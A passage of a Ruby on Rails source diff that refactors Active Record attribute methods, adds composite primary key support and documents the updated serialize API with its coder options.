 
       # Returns the original value of an attribute before the last save.
-      # Behaves similarly to +attribute_was+. This method is useful in after
-      # callbacks to get the original value of an attribute before the save that
-      # just occurred
+      #
+      # This method is useful in after callbacks to get the original value of an
+      # attribute before the save that triggered the callbacks to run. It can be
+      # invoked as +name_before_last_save+ instead of
+      # <tt>attribute_before_last_save("name")</tt>.
       def attribute_before_last_save(attr_name)
-        mutations_before_last_save.original_value(attr_name)
+        mutations_before_last_save.original_value(attr_name.to_s)
       end
 
-      # Did the last call to `save` have any changes to change?
+      # Did the last call to +save+ have any changes to change?
       def saved_changes?
         mutations_before_last_save.any_changes?
       end
@@ -176,157 +119,143 @@ def saved_changes
         mutations_before_last_save.changes
       end
 
-      # Alias for `attribute_changed?`
+      # Will this attribute change the next time we save?
+      #
+      # This method is useful in validations and before callbacks to determine
+      # if the next call to +save+ will change a particular attribute. It can be
+      # invoked as +will_save_change_to_name?+ instead of
+      # <tt>will_save_change_to_attribute?("name")</tt>.
+      #
+      # ==== Options
+      #
+      # [+from+]
+      #   When specified, this method will return false unless the original
+      #   value is equal to the given value.
+      #
+      # [+to+]
+      #   When specified, this method will return false unless the value will be
+      #   changed to the given value.
       def will_save_change_to_attribute?(attr_name, **options)
-        mutations_from_database.changed?(attr_name, **options)
+        mutations_from_database.changed?(attr_name.to_s, **options)
       end
 
-      # Alias for `attribute_change`
+      # Returns the change to an attribute that will be persisted during the
+      # next save.
+      #
+      # This method is useful in validations and before callbacks, to see the
+      # change to an attribute that will occur when the record is saved. It can
+      # be invoked as +name_change_to_be_saved+ instead of
+      # <tt>attribute_change_to_be_saved("name")</tt>.
+      #
+      # If the attribute will change, the result will be an array containing the
+      # original value and the new value about to be saved.
       def attribute_change_to_be_saved(attr_name)
-        mutations_from_database.change_to_attribute(attr_name)
+        mutations_from_database.change_to_attribute(attr_name.to_s)
       end
 
-      # Alias for `attribute_was`
+      # Returns the value of an attribute in the database, as opposed to the
+      # in-memory value that will be persisted the next time the record is
+      # saved.
+      #
+      # This method is useful in validations and before callbacks, to see the
+      # original value of an attribute prior to any changes about to be
+      # saved. It can be invoked as +name_in_database+ instead of
+      # <tt>attribute_in_database("name")</tt>.
       def attribute_in_database(attr_name)
-        mutations_from_database.original_value(attr_name)
+        mutations_from_database.original_value(attr_name.to_s)
       end
 
-      # Alias for `changed?`
+      # Will the next call to +save+ have any changes to persist?
       def has_changes_to_save?
         mutations_from_database.any_changes?
       end
 
-      # Alias for `changes`
+      # Returns a hash containing all the changes that will be persisted during
+      # the next save.
       def changes_to_save
         mutations_from_database.changes
       end
 
-      # Alias for `changed`
+      # Returns an array of the names of any attributes that will change when
+      # the record is next saved.
       def changed_attribute_names_to_save
-        changes_to_save.keys
+        mutations_from_database.changed_attribute_names
       end
 
-      # Alias for `changed_attributes`
+      # Returns a hash of the attributes that will change when the record is
+      # next saved.
+      #
+      # The hash keys are the attribute names, and the hash values are the
+      # original attribute values in the database (as opposed to the in-memory
+      # values about to be saved).
       def attributes_in_database
-        changes_to_save.transform_values(&:first)
-      end
-
-      def attribute_was(*)
-        emit_warning_if_needed("attribute_was", "attribute_before_last_save")
-        super
-      end
-
-      def attribute_change(*)
-        emit_warning_if_needed("attribute_change", "saved_change_to_attribute")
-        super
-      end
-
-      def attribute_changed?(*)
-        emit_warning_if_needed("attribute_changed?", "saved_change_to_attribute?")
-        super
-      end
-
-      def changed?(*)
-        emit_warning_if_needed("changed?", "saved_changes?")
-        super
-      end
-
-      def changed(*)
-        emit_warning_if_needed("changed", "saved_changes.keys")
-        super
+        mutations_from_database.changed_values
       end
 
       private
-
-        def mutation_tracker
-          unless defined?(@mutation_tracker)
-            @mutation_tracker = nil
-          end
-          @mutation_tracker ||= AttributeMutationTracker.new(@attributes)
-        end
-
-        def emit_warning_if_needed(method_name, new_method_name)
-          unless mutation_tracker.equal?(mutations_from_database)
-            ActiveSupport::Deprecation.warn(<<-EOW.squish)
-              The behavior of `#{method_name}` inside of after callbacks will
-              be changing in the next version of Rails. The new return value will reflect the
-              behavior of calling the method after `save` returned (e.g. the opposite of what
-              it returns now). To maintain the current behavior, use `#{new_method_name}`
-              instead.
-            EOW
-          end
-        end
-
-        def mutations_from_database
-          unless defined?(@mutations_from_database)
-            @mutations_from_database = nil
-          end
-          @mutations_from_database ||= mutation_tracker
+        def init_internals
+          super
+          @mutations_before_last_save = nil
+          @mutations_from_database = nil
+          @_touch_attr_names = nil
+          @_skip_dirty_tracking = nil
         end
 
-        def changes_include?(attr_name)
-          super || mutation_tracker.changed?(attr_name)
-        end
+        def _touch_row(attribute_names, time)
+          @_touch_attr_names = Set.new(attribute_names)
 
-        def clear_attribute_change(attr_name)
-          mutation_tracker.forget_change(attr_name)
-          mutations_from_database.forget_change(attr_name)
-        end
+          affected_rows = super
 
-        def attribute_will_change!(attr_name)
-          super
-          if self.class.has_attribute?(attr_name)
-            mutations_from_database.force_change(attr_name)
-          else
-            ActiveSupport::Deprecation.warn(<<-EOW.squish)
-              #{attr_name} is not an attribute known to Active Record.
-              This behavior is deprecated and will be removed in the next
-              version of Rails. If you'd like #{attr_name} to be managed
-              by Active Record, add `attribute :#{attr_name} to your class.
-            EOW
-            mutations_from_database.deprecated_force_change(attr_name)
+          if @_skip_dirty_tracking ||= false
+            clear_attribute_changes(@_touch_attr_names)
+            return affected_rows
           end
-        end
-
-        def _update_record(*)
-          partial_writes? ? super(keys_for_partial_write) : super
-        end
 
-        def _create_record(*)
-          partial_writes? ? super(keys_for_partial_write) : super
-        end
+          changes = {}
+          @attributes.keys.each do |attr_name|
+            next if @_touch_attr_names.include?(attr_name)
 
-        def keys_for_partial_write
-          changed_attribute_names_to_save & self.class.column_names
-        end
+            if attribute_changed?(attr_name)
+              changes[attr_name] = _read_attribute(attr_name)
+              _write_attribute(attr_name, attribute_was(attr_name))
+              clear_attribute_change(attr_name)
+            end
+          end
 
-        def forget_attribute_assignments
-          @attributes = @attributes.map(&:forgetting_assignment)
-        end
+          changes_applied
+          changes.each { |attr_name, value| _write_attribute(attr_name, value) }
 
-        def clear_mutation_trackers
-          @mutation_tracker = nil
-          @mutations_from_database = nil
-          @mutations_before_last_save = nil
+          affected_rows
+        ensure
+          @_touch_attr_names, @_skip_dirty_tracking = nil, nil
         end
 
-        def previous_mutation_tracker
-          @previous_mutation_tracker ||= NullMutationTracker.instance
+        def _update_record(attribute_names = attribute_names_for_partial_updates)
+          affected_rows = super
+          changes_applied
+          affected_rows
         end
 
-        def mutations_before_last_save
-          @mutations_before_last_save ||= previous_mutation_tracker
+        def _create_record(attribute_names = attribute_names_for_partial_inserts)
+          id = super
+          changes_applied
+          id
         end
 
-        def cache_changed_attributes
-          @cached_changed_attributes = changed_attributes
-          yield
-        ensure
-          clear_changed_attributes_cache
+        def attribute_names_for_partial_updates
+          partial_updates? ? changed_attribute_names_to_save : attribute_names
         end
 
-        def clear_changed_attributes_cache
-          remove_instance_variable(:@cached_changed_attributes) if defined?(@cached_changed_attributes)
+        def attribute_names_for_partial_inserts
+          if partial_inserts?
+            changed_attribute_names_to_save
+          else
+            attribute_names.reject do |attr_name|
+              if column_for_attribute(attr_name).auto_populated?
+                !attribute_changed?(attr_name)
+              end
+            end
+          end
         end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
index 2f32caa2571fc..8291d687a6311 100644
--- a/activerecord/lib/active_record/attribute_methods/primary_key.rb
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -1,72 +1,75 @@
-require "set"
+# frozen_string_literal: true
 
 module ActiveRecord
   module AttributeMethods
+    # = Active Record Attribute Methods Primary Key
     module PrimaryKey
       extend ActiveSupport::Concern
 
       # Returns this record's primary key value wrapped in an array if one is
       # available.
       def to_key
-        sync_with_transaction_state
         key = id
-        [key] if key
+        Array(key) if key
       end
 
-      # Returns the primary key value.
+      # Returns the primary key column's value. If the primary key is composite,
+      # returns an array of the primary key column values.
       def id
-        if pk = self.class.primary_key
-          sync_with_transaction_state
-          _read_attribute(pk)
-        end
+        _read_attribute(@primary_key)
+      end
+
+      def primary_key_values_present? # :nodoc:
+        !!id
       end
 
-      # Sets the primary key value.
+      # Sets the primary key column's value. If the primary key is composite,
+      # raises TypeError when the set value not enumerable.
       def id=(value)
-        sync_with_transaction_state
-        write_attribute(self.class.primary_key, value) if self.class.primary_key
+        _write_attribute(@primary_key, value)
       end
 
-      # Queries the primary key value.
+      # Queries the primary key column's value. If the primary key is composite,
+      # all primary key column values must be queryable.
       def id?
-        sync_with_transaction_state
-        query_attribute(self.class.primary_key)
+        _query_attribute(@primary_key)
       end
 
-      # Returns the primary key value before type cast.
+      # Returns the primary key column's value before type cast. If the primary key is composite,
+      # returns an array of primary key column values before type cast.
       def id_before_type_cast
-        sync_with_transaction_state
-        read_attribute_before_type_cast(self.class.primary_key)
+        attribute_before_type_cast(@primary_key)
       end
 
-      # Returns the primary key previous value.
+      # Returns the primary key column's previous value. If the primary key is composite,
+      # returns an array of primary key column previous values.
       def id_was
-        sync_with_transaction_state
-        attribute_was(self.class.primary_key)
+        attribute_was(@primary_key)
       end
 
+      # Returns the primary key column's value from the database. If the primary key is composite,
+      # returns an array of primary key column values from database.
       def id_in_database
-        sync_with_transaction_state
-        attribute_in_database(self.class.primary_key)
+        attribute_in_database(@primary_key)
       end
 
-      private
+      def id_for_database # :nodoc:
+        @attributes[@primary_key].value_for_database
+      end
 
+      private
         def attribute_method?(attr_name)
           attr_name == "id" || super
         end
 
         module ClassMethods
-          def define_method_attribute(attr_name)
-            super
+          ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast id_was id_in_database id_for_database).to_set
+          PRIMARY_KEY_NOT_SET = BasicObject.new
 
-            if attr_name == primary_key && attr_name != "id"
-              generated_attribute_methods.send(:alias_method, :id, primary_key)
-            end
+          def instance_method_already_implemented?(method_name)
+            super || primary_key && ID_ATTRIBUTE_METHODS.include?(method_name)
           end
 
-          ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast id_was id_in_database).to_set
-
           def dangerous_attribute_method?(method_name)
             super && !ID_ATTRIBUTE_METHODS.include?(method_name)
           end
@@ -75,36 +78,37 @@ def dangerous_attribute_method?(method_name)
           # Overwriting will negate any effect of the +primary_key_prefix_type+
           # setting, though.
           def primary_key
-            @primary_key = reset_primary_key unless defined? @primary_key
+            reset_primary_key if PRIMARY_KEY_NOT_SET.equal?(@primary_key)
             @primary_key
           end
 
-          # Returns a quoted version of the primary key name, used to construct
-          # SQL statements.
+          def composite_primary_key? # :nodoc:
+            reset_primary_key if PRIMARY_KEY_NOT_SET.equal?(@primary_key)
+            @composite_primary_key
+          end
+
+          # Returns a quoted version of the primary key name.
           def quoted_primary_key
-            @quoted_primary_key ||= connection.quote_column_name(primary_key)
+            adapter_class.quote_column_name(primary_key)
           end
 
-          def reset_primary_key #:nodoc:
-            if self == base_class
+          def reset_primary_key # :nodoc:
+            if base_class?
               self.primary_key = get_primary_key(base_class.name)
             else
               self.primary_key = base_class.primary_key
             end
           end
 
-          def get_primary_key(base_name) #:nodoc:
+          def get_primary_key(base_name) # :nodoc:
             if base_name && primary_key_prefix_type == :table_name
               base_name.foreign_key(false)
             elsif base_name && primary_key_prefix_type == :table_name_with_underscore
               base_name.foreign_key
+            elsif ActiveRecord::Base != self && table_exists?
+              schema_cache.primary_keys(table_name)
             else
-              if ActiveRecord::Base != self && table_exists?
-                pk = connection.schema_cache.primary_keys(table_name)
-                suppress_composite_primary_key(pk)
-              else
-                "id"
-              end
+              "id"
             end
           end
 
@@ -124,21 +128,25 @@ def get_primary_key(base_name) #:nodoc:
           #
           #   Project.primary_key # => "foo_id"
           def primary_key=(value)
-            @primary_key        = value && value.to_s
-            @quoted_primary_key = nil
+            @primary_key = if value.is_a?(Array)
+              include CompositePrimaryKey
+              @primary_key = value.map { |v| -v.to_s }.freeze
+            elsif value
+              -value.to_s
+            end
+
+            @composite_primary_key = value.is_a?(Array)
             @attributes_builder = nil
           end
 
           private
-
-            def suppress_composite_primary_key(pk)
-              return pk unless pk.is_a?(Array)
-
-              warn <<-WARNING.strip_heredoc
-                WARNING: Active Record does not support composite primary key.
-
-                #{table_name} has composite primary key. Composite primary key is ignored.
-              WARNING
+            def inherited(base)
+              super
+              base.class_eval do
+                @primary_key = PRIMARY_KEY_NOT_SET
+                @composite_primary_key = false
+                @attributes_builder = nil
+              end
             end
         end
     end
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
index 10498f43226a5..051f41ba32863 100644
--- a/activerecord/lib/active_record/attribute_methods/query.rb
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -1,40 +1,84 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module AttributeMethods
+    # = Active Record Attribute Methods \Query
+    #
+    # Adds query methods for attributes that return either +true+ or +false+
+    # depending on the attribute type and value.
+    #
+    # For Boolean attributes this will return +true+ if the value is present
+    # and return +false+ otherwise:
+    #
+    #   class Product < ActiveRecord::Base
+    #   end
+    #
+    #   product = Product.new(archived: false)
+    #   product.archived? # => false
+    #   product.archived = true
+    #   product.archived? # => true
+    #
+    # For Numeric attributes this will return +true+ if the value is a non-zero
+    # number and return +false+ otherwise:
+    #
+    #   product.inventory_count = 0
+    #   product.inventory_count? # => false
+    #   product.inventory_count = 1
+    #   product.inventory_count? # => true
+    #
+    # For other attributes it will return +true+ if the value is present
+    # and return +false+ otherwise:
+    #
+    #   product.name = nil
+    #   product.name? # => false
+    #   product.name = " "
+    #   product.name? # => false
+    #   product.name = "Orange"
+    #   product.name? # => true
     module Query
       extend ActiveSupport::Concern
 
       included do
-        attribute_method_suffix "?"
+        attribute_method_suffix "?", parameters: false
       end
 
+      # Returns +true+ or +false+ for the attribute identified by +attr_name+,
+      # depending on the attribute type and value.
       def query_attribute(attr_name)
-        value = self[attr_name]
-
-        case value
-        when true        then true
-        when false, nil  then false
-        else
-          column = self.class.columns_hash[attr_name]
-          if column.nil?
-            if Numeric === value || value !~ /[^0-9]/
-              !value.to_i.zero?
+        value = self.public_send(attr_name)
+
+        query_cast_attribute(attr_name, value)
+      end
+
+      def _query_attribute(attr_name) # :nodoc:
+        value = self._read_attribute(attr_name.to_s)
+
+        query_cast_attribute(attr_name, value)
+      end
+
+      alias :attribute? :query_attribute
+      private :attribute?
+
+      private
+        def query_cast_attribute(attr_name, value)
+          case value
+          when true        then true
+          when false, nil  then false
+          else
+            if !type_for_attribute(attr_name) { false }
+              if Numeric === value || !value.match?(/[^0-9]/)
+                !value.to_i.zero?
+              else
+                return false if ActiveModel::Type::Boolean::FALSE_VALUES.include?(value)
+                !value.blank?
+              end
+            elsif value.respond_to?(:zero?)
+              !value.zero?
             else
-              return false if ActiveModel::Type::Boolean::FALSE_VALUES.include?(value)
               !value.blank?
             end
-          elsif value.respond_to?(:zero?)
-            !value.zero?
-          else
-            !value.blank?
           end
         end
-      end
-
-      private
-        # Handle *? for method_missing.
-        def attribute?(attribute_name)
-          query_attribute(attribute_name)
-        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index fdc4bf6621d7f..3fa0befc2f5ca 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -1,75 +1,42 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module AttributeMethods
+    # = Active Record Attribute Methods \Read
     module Read
       extend ActiveSupport::Concern
 
-      module ClassMethods
+      module ClassMethods # :nodoc:
         private
-
-          # We want to generate the methods via module_eval rather than
-          # define_method, because define_method is slower on dispatch.
-          # Evaluating many similar methods may use more memory as the instruction
-          # sequences are duplicated and cached (in MRI).  define_method may
-          # be slower on dispatch, but if you're careful about the closure
-          # created, then define_method will consume much less memory.
-          #
-          # But sometimes the database might return columns with
-          # characters that are not allowed in normal method names (like
-          # 'my_column(omg)'. So to work around this we first define with
-          # the __temp__ identifier, and then use alias method to rename
-          # it to what we want.
-          #
-          # We are also defining a constant to hold the frozen string of
-          # the attribute name. Using a constant means that we do not have
-          # to allocate an object on each call to the attribute method.
-          # Making it frozen means that it doesn't get duped when used to
-          # key the @attributes in read_attribute.
-          def define_method_attribute(name)
-            safe_name = name.unpack("h*".freeze).first
-            temp_method = "__temp__#{safe_name}"
-
-            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
-
-            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
-              def #{temp_method}
-                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
-                _read_attribute(name) { |n| missing_attribute(n, caller) }
+          def define_method_attribute(canonical_name, owner:, as: canonical_name)
+            ActiveModel::AttributeMethods::AttrNames.define_attribute_accessor_method(
+              owner, canonical_name
+            ) do |temp_method_name, attr_name_expr|
+              owner.define_cached_method(temp_method_name, as: as, namespace: :active_record) do |batch|
+                batch <<
+                  "def #{temp_method_name}" <<
+                  "  _read_attribute(#{attr_name_expr}) { |n| missing_attribute(n, caller) }" <<
+                  "end"
               end
-            STR
-
-            generated_attribute_methods.module_eval do
-              alias_method name, temp_method
-              undef_method temp_method
             end
           end
       end
 
-      # Returns the value of the attribute identified by <tt>attr_name</tt> after
-      # it has been typecast (for example, "2004-12-12" in a date column is cast
-      # to a date object, like Date.new(2004, 12, 12)).
+      # Returns the value of the attribute identified by +attr_name+ after it
+      # has been type cast. For example, a date attribute will cast "2004-12-12"
+      # to <tt>Date.new(2004, 12, 12)</tt>. (For information about specific type
+      # casting behavior, see the types under ActiveModel::Type.)
       def read_attribute(attr_name, &block)
-        name = if self.class.attribute_alias?(attr_name)
-          self.class.attribute_alias(attr_name).to_s
-        else
-          attr_name.to_s
-        end
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
 
-        name = self.class.primary_key if name == "id".freeze && self.class.primary_key
-        _read_attribute(name, &block)
+        @attributes.fetch_value(name, &block)
       end
 
       # This method exists to avoid the expensive primary_key check internally, without
       # breaking compatibility with the read_attribute API
-      if defined?(JRUBY_VERSION)
-        # This form is significantly faster on JRuby, and this is one of our biggest hotspots.
-        # https://github.com/jruby/jruby/pull/2562
-        def _read_attribute(attr_name, &block) # :nodoc
-          @attributes.fetch_value(attr_name.to_s, &block)
-        end
-      else
-        def _read_attribute(attr_name) # :nodoc:
-          @attributes.fetch_value(attr_name.to_s) { |n| yield n if block_given? }
-        end
+      def _read_attribute(attr_name, &block) # :nodoc:
+        @attributes.fetch_value(attr_name, &block)
       end
 
       alias :attribute :_read_attribute
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
index 4d9aff76cc36e..b49244ffaff36 100644
--- a/activerecord/lib/active_record/attribute_methods/serialization.rb
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -1,18 +1,33 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module AttributeMethods
+    # = Active Record Attribute Methods \Serialization
     module Serialization
       extend ActiveSupport::Concern
 
+      class ColumnNotSerializableError < StandardError
+        def initialize(name, type)
+          super <<~EOS
+            Column `#{name}` of type #{type.class} does not support `serialize` feature.
+            Usually it means that you are trying to use `serialize`
+            on a column that already implements serialization natively.
+          EOS
+        end
+      end
+
+      included do
+        class_attribute :default_column_serializer, instance_accessor: false, default: Coders::YAMLColumn
+      end
+
       module ClassMethods
-        # If you have an attribute that needs to be saved to the database as an
-        # object, and retrieved as the same object, then specify the name of that
-        # attribute using this method and it will be handled automatically. The
-        # serialization is done through YAML. If +class_name+ is specified, the
-        # serialized object must be of that class on assignment and retrieval.
-        # Otherwise SerializationTypeMismatch will be raised.
+        # If you have an attribute that needs to be saved to the database as a
+        # serialized object, and retrieved by deserializing into the same object,
+        # then specify the name of that attribute using this method and serialization
+        # will be handled automatically.
         #
-        # Empty objects as <tt>{}</tt>, in the case of +Hash+, or <tt>[]</tt>, in the case of
-        # +Array+, will always be persisted as null.
+        # The serialization format may be YAML, JSON, or any custom format using a
+        # custom coder class.
         #
         # Keep in mind that database adapters handle certain serialization tasks
         # for you. For instance: +json+ and +jsonb+ types in PostgreSQL will be
@@ -25,42 +40,205 @@ module ClassMethods
         #
         # ==== Parameters
         #
-        # * +attr_name+ - The field name that should be serialized.
-        # * +class_name_or_coder+ - Optional, a coder object, which responds to +.load+ and +.dump+
-        #   or a class name that the object type should be equal to.
+        # * +attr_name+ - The name of the attribute to serialize.
+        # * +coder+ The serializer implementation to use, e.g. +JSON+.
+        #   * The attribute value will be serialized
+        #     using the coder's <tt>dump(value)</tt> method, and will be
+        #     deserialized using the coder's <tt>load(string)</tt> method. The
+        #     +dump+ method may return +nil+ to serialize the value as +NULL+.
+        # * +type+ - Optional. What the type of the serialized object should be.
+        #   * Attempting to serialize another type will raise an
+        #     ActiveRecord::SerializationTypeMismatch error.
+        #   * If the column is +NULL+ or starting from a new record, the default value
+        #     will set to +type.new+
+        # * +comparable+ - Specify whether the deserialized object is safely comparable
+        #   for the purpose of detecting changes. Defaults to +false+
+        #   When set to +false+ the old and new values will be compared by their serialized
+        #   representation (e.g. JSON or YAML), which can sometimes cause two objects that are
+        #   semantically equal to be considered different.
+        #   For instance two hashes with the same keys and values but a different order have a
+        #   different serialized representation, but are semantically equal once deserialized.
+        #   If set to +true+ the comparison will be done on the deserialized object.
+        #   This options should only be enabled if the +type+ is known to have
+        #   a proper <tt>==</tt> method that deeply compare the objects.
+        # * +yaml+ - Optional. Yaml specific options. The allowed config is:
+        #   * +:permitted_classes+ - +Array+ with the permitted classes.
+        #   * +:unsafe_load+ - Unsafely load YAML blobs, allow YAML to load any class.
+        #
+        # ==== Options
+        #
+        # * +:default+ - The default value to use when no value is provided. If
+        #   this option is not passed, the previous default value (if any) will
+        #   be used. Otherwise, the default will be +nil+.
+        #
+        # ==== Choosing a serializer
+        #
+        # While any serialization format can be used, it is recommended to carefully
+        # evaluate the properties of a serializer before using it, as migrating to
+        # another format later on can be difficult.
+        #
+        # ===== Avoid accepting arbitrary types
+        #
+        # When serializing data in a column, it is heavily recommended to make sure
+        # only expected types will be serialized. For instance some serializer like
+        # +Marshal+ or +YAML+ are capable of serializing almost any Ruby object.
+        #
+        # This can lead to unexpected types being serialized, and it is important
+        # that type serialization remains backward and forward compatible as long
+        # as some database records still contain these serialized types.
+        #
+        #   class Address
+        #     def initialize(line, city, country)
+        #       @line, @city, @country = line, city, country
+        #     end
+        #   end
+        #
+        # In the above example, if any of the +Address+ attributes is renamed,
+        # instances that were persisted before the change will be loaded with the
+        # old attributes. This problem is even worse when the serialized type comes
+        # from a dependency which doesn't expect to be serialized this way and may
+        # change its internal representation without notice.
+        #
+        # As such, it is heavily recommended to instead convert these objects into
+        # primitives of the serialization format, for example:
+        #
+        #   class Address
+        #     attr_reader :line, :city, :country
+        #
+        #     def self.load(payload)
+        #       data = YAML.safe_load(payload)
+        #       new(data["line"], data["city"], data["country"])
+        #     end
+        #
+        #     def self.dump(address)
+        #       YAML.safe_dump(
+        #         "line" => address.line,
+        #         "city" => address.city,
+        #         "country" => address.country,
+        #       )
+        #     end
+        #
+        #     def initialize(line, city, country)
+        #       @line, @city, @country = line, city, country
+        #     end
+        #   end
+        #
+        #   class User < ActiveRecord::Base
+        #     serialize :address, coder: Address
+        #   end
+        #
+        # This pattern allows to be more deliberate about what is serialized, and
+        # to evolve the format in a backward compatible way.
+        #
+        # ===== Ensure serialization stability
+        #
+        # Some serialization methods may accept some types they don't support by
+        # silently casting them to other types. This can cause bugs when the
+        # data is deserialized.
         #
-        # ==== Example
+        # For instance the +JSON+ serializer provided in the standard library will
+        # silently cast unsupported types to +String+:
+        #
+        #   >> JSON.parse(JSON.dump(Struct.new(:foo)))
+        #   # => "#<Class:0x000000013090b4c0>"
+        #
+        # ==== Examples
+        #
+        # ===== Serialize the +preferences+ attribute using YAML
+        #
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, coder: YAML
+        #   end
+        #
+        # ===== Serialize the +preferences+ attribute using JSON
         #
-        #   # Serialize a preferences attribute.
         #   class User < ActiveRecord::Base
-        #     serialize :preferences
+        #     serialize :preferences, coder: JSON
         #   end
         #
-        #   # Serialize preferences using JSON as coder.
+        # ===== Serialize the +preferences+ +Hash+ using YAML
+        #
         #   class User < ActiveRecord::Base
-        #     serialize :preferences, JSON
+        #     serialize :preferences, type: Hash, coder: YAML
+        #   end
+        #
+        # ===== Serializes +preferences+ to YAML, permitting select classes
+        #
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, coder: YAML, yaml: { permitted_classes: [Symbol, Time] }
+        #   end
+        #
+        # ===== Serialize the +preferences+ attribute using a custom coder
+        #
+        #   class Rot13JSON
+        #     def self.rot13(string)
+        #       string.tr("a-zA-Z", "n-za-mN-ZA-M")
+        #     end
+        #
+        #     # Serializes an attribute value to a string that will be stored in the database.
+        #     def self.dump(value)
+        #       rot13(ActiveSupport::JSON.dump(value))
+        #     end
+        #
+        #     # Deserializes a string from the database to an attribute value.
+        #     def self.load(string)
+        #       ActiveSupport::JSON.load(rot13(string))
+        #     end
         #   end
         #
-        #   # Serialize preferences as Hash using YAML coder.
         #   class User < ActiveRecord::Base
-        #     serialize :preferences, Hash
+        #     serialize :preferences, coder: Rot13JSON
         #   end
-        def serialize(attr_name, class_name_or_coder = Object)
-          # When ::JSON is used, force it to go through the Active Support JSON encoder
-          # to ensure special objects (e.g. Active Record models) are dumped correctly
-          # using the #as_json hook.
-          coder = if class_name_or_coder == ::JSON
-            Coders::JSON
-          elsif [:load, :dump].all? { |x| class_name_or_coder.respond_to?(x) }
-            class_name_or_coder
-          else
-            Coders::YAMLColumn.new(attr_name, class_name_or_coder)
+        #
+        def serialize(attr_name, coder: nil, type: Object, comparable: false, yaml: {}, **options)
+          coder ||= default_column_serializer
+          unless coder
+            raise ArgumentError, <<~MSG.squish
+              missing keyword: :coder
+
+              If no default coder is configured, a coder must be provided to `serialize`.
+            MSG
           end
 
-          decorate_attribute_type(attr_name, :serialize) do |type|
-            Type::Serialized.new(type, coder)
+          column_serializer = build_column_serializer(attr_name, coder, type, yaml)
+
+          attribute(attr_name, **options)
+
+          decorate_attributes([attr_name]) do |attr_name, cast_type|
+            if type_incompatible_with_serialize?(cast_type, coder, type)
+              raise ColumnNotSerializableError.new(attr_name, cast_type)
+            end
+
+            cast_type = cast_type.subtype if Type::Serialized === cast_type
+            Type::Serialized.new(cast_type, column_serializer, comparable: comparable)
           end
         end
+
+        private
+          def build_column_serializer(attr_name, coder, type, yaml = nil)
+            # When ::JSON is used, force it to go through the Active Support JSON encoder
+            # to ensure special objects (e.g. Active Record models) are dumped correctly
+            # using the #as_json hook.
+
+            if coder == ::JSON || coder == Coders::JSON
+              coder = Coders::JSON.new
+            end
+
+            if coder == ::YAML || coder == Coders::YAMLColumn
+              Coders::YAMLColumn.new(attr_name, type, **(yaml || {}))
+            elsif coder.respond_to?(:new) && !coder.respond_to?(:load)
+              coder.new(attr_name, type)
+            elsif type && type != Object
+              Coders::ColumnSerializer.new(attr_name, coder, type)
+            else
+              coder
+            end
+          end
+
+          def type_incompatible_with_serialize?(cast_type, coder, type)
+            cast_type.is_a?(ActiveRecord::Type::Json) && coder == ::JSON ||
+              cast_type.respond_to?(:type_cast_array, true) && type == ::Array
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
index 321d039ed4c0b..0ab2d1166a699 100644
--- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -1,7 +1,15 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+
 module ActiveRecord
   module AttributeMethods
     module TimeZoneConversion
-      class TimeZoneConverter < DelegateClass(Type::Value) # :nodoc:
+      class TimeZoneConverter < ActiveSupport::Delegation::DelegateClass(Type::Value) # :nodoc:
+        def self.new(subtype)
+          self === subtype ? subtype : super
+        end
+
         def deserialize(value)
           convert_time_to_time_zone(super)
         end
@@ -9,76 +17,67 @@ def deserialize(value)
         def cast(value)
           return if value.nil?
 
-          if value.is_a?(Hash)
+          if value.is_a?(::Hash)
             set_time_zone_without_conversion(super)
           elsif value.respond_to?(:in_time_zone)
             begin
-              super(user_input_in_time_zone(value)) || super
+              result = super(__getobj__.user_input_in_time_zone(value)) || super
+              if result && type == :time
+                result = result.change(year: 2000, month: 1, day: 1)
+              end
+              result
             rescue ArgumentError
               nil
             end
+          elsif value.respond_to?(:infinite?) && value.infinite?
+            value
           else
-            map_avoiding_infinite_recursion(super) { |v| cast(v) }
+            map(super) { |v| cast(v) }
           end
         end
 
-        private
+        def ==(other)
+          other.is_a?(self.class) && __getobj__ == other.__getobj__
+        end
 
+        private
           def convert_time_to_time_zone(value)
             return if value.nil?
 
             if value.acts_like?(:time)
-              value.in_time_zone
-            elsif value.is_a?(::Float)
+              converted = value.in_time_zone
+              if type == :time && converted
+                converted = converted.change(year: 2000, month: 1, day: 1)
+              end
+              converted
+            elsif value.respond_to?(:infinite?) && value.infinite?
               value
             else
-              map_avoiding_infinite_recursion(value) { |v| convert_time_to_time_zone(v) }
+              map(value) { |v| convert_time_to_time_zone(v) }
             end
           end
 
           def set_time_zone_without_conversion(value)
             ::Time.zone.local_to_utc(value).try(:in_time_zone) if value
           end
-
-          def map_avoiding_infinite_recursion(value)
-            map(value) do |v|
-              if value.equal?(v)
-                nil
-              else
-                yield(v)
-              end
-            end
-          end
       end
 
       extend ActiveSupport::Concern
 
       included do
